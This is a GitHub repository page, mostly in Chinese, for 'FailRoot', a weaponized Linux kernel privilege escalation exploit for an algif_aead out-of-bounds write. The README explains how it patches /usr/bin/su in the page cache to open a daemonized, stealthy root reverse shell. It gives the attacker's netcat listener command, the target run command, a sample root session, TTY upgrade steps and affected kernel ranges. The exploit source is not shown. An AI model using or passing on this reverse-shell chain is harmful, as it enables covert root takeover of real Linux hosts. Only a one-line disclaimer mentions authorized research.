danimrtzp/CVE-2026-31431-REVSHELL

GitHub: danimrtzp/CVE-2026-31431-REVSHELL

针对 Linux 内核 crypto: algif_aead 子系统越界写入漏洞(CVE-2026-31431)的单文件武器化提权利用,实现从低权限用户到守护进程化 root 反向 Shell 的完整利用链。

Stars: 0 | Forks: 0


``` █▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀ █▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░ CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell ``` ## 概述 **FailRoot** 是针对 **CVE-2026-31431** 的武器化漏洞利用程序——该漏洞是 Linux 内核 `crypto: algif_aead` 子系统中的一个越界写入漏洞。 它将**权限提升**与带有完整 PTY 的**守护进程化 root 反向 shell** 串联在一起: ``` AF_ALG + splice() → 4-byte page-cache write → patch /usr/bin/su → root ``` 整个漏洞利用程序仅包含在一个文件中。无需编译。无外部依赖。磁盘上不留任何痕迹——`su` 二进制文件仅在内存在进行补丁。 ## 功能说明 1. **立即守护进程化** — 双重 fork,脱离终端,立即返回提示符 2. **加载内核模块** — 通过多种回退策略加载 `algif_aead` + `authencesn` 3. **利用 CVE-2026-31431** — 向 `/usr/bin/su` 页缓存中写入 4 个可控字节 4. **生成 root PTY 反向 shell** — `pty.spawn("/usr/bin/su")` → 完全交互式的 root TTY 该反向 shell 能够在终端关闭后存活(忽略 `SIGHUP`),在目标主机上不显示任何输出,并持续尝试连接长达 3 分钟。 ## 用法 ``` # 攻击者 — 启动 listener: nc -lvnp 4444 # 目标 — 运行 exploit (不会显示任何内容,它会立即转为 daemon 运行): python3 exploit.py 4444 ``` ``` attacker ~ $ nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.1.100] from [192.168.1.50] 50234 root@victim:~# id uid=0(root) gid=0(root) groups=0(root) ``` ### TTY 升级(攻击者端,在 shell 内部) ``` Ctrl+Z stty raw -echo; fg reset export TERM=xterm-256color export SHELL=/bin/bash ``` ## 受影响的内核 | 起 | 至(不含) | |------|----------------| | 4.14 | 5.10.254 | | 5.11 | 5.15.204 | | 5.16 | 6.1.170 | | 6.2 | 6.6.137 | | 6.7 | 6.12.85 | | 6.13 | 6.18.22 | | 6.19 | 6.19.12 | | 7.0 | rc1–rc6 | ## 环境要求 - **Python >= 3.10** (`os.splice()`) - `/usr/bin/su` 的读取权限(所有发行版上均全局可读) - 内核模块 `algif_aead` 和 `authencesn` 可用 - 无需 `sudo` ## 作者 **[danimrtzp](https://github.com/danimrtzp)** ## 免责声明 仅供授权的安全研究和教育使用。滥用是违法行为。
标签:AF_ALG, algif_aead子系统, CISA KEV, CVE-2026-31431, CVSS 7.8, Linux内核漏洞, LPE, PTY伪终端, Python 3.10, Root提权, Web报告查看器, 内存页缓存修改, 协议分析, 反弹Shell, 安全渗透, 攻击路径可视化, 无文件落地攻击, 无痕迹利用, 本地提权, 权限提升, 红队武器化, 网络安全, 越界写入, 逆向Shell, 隐私保护, 高危漏洞, 黑客工具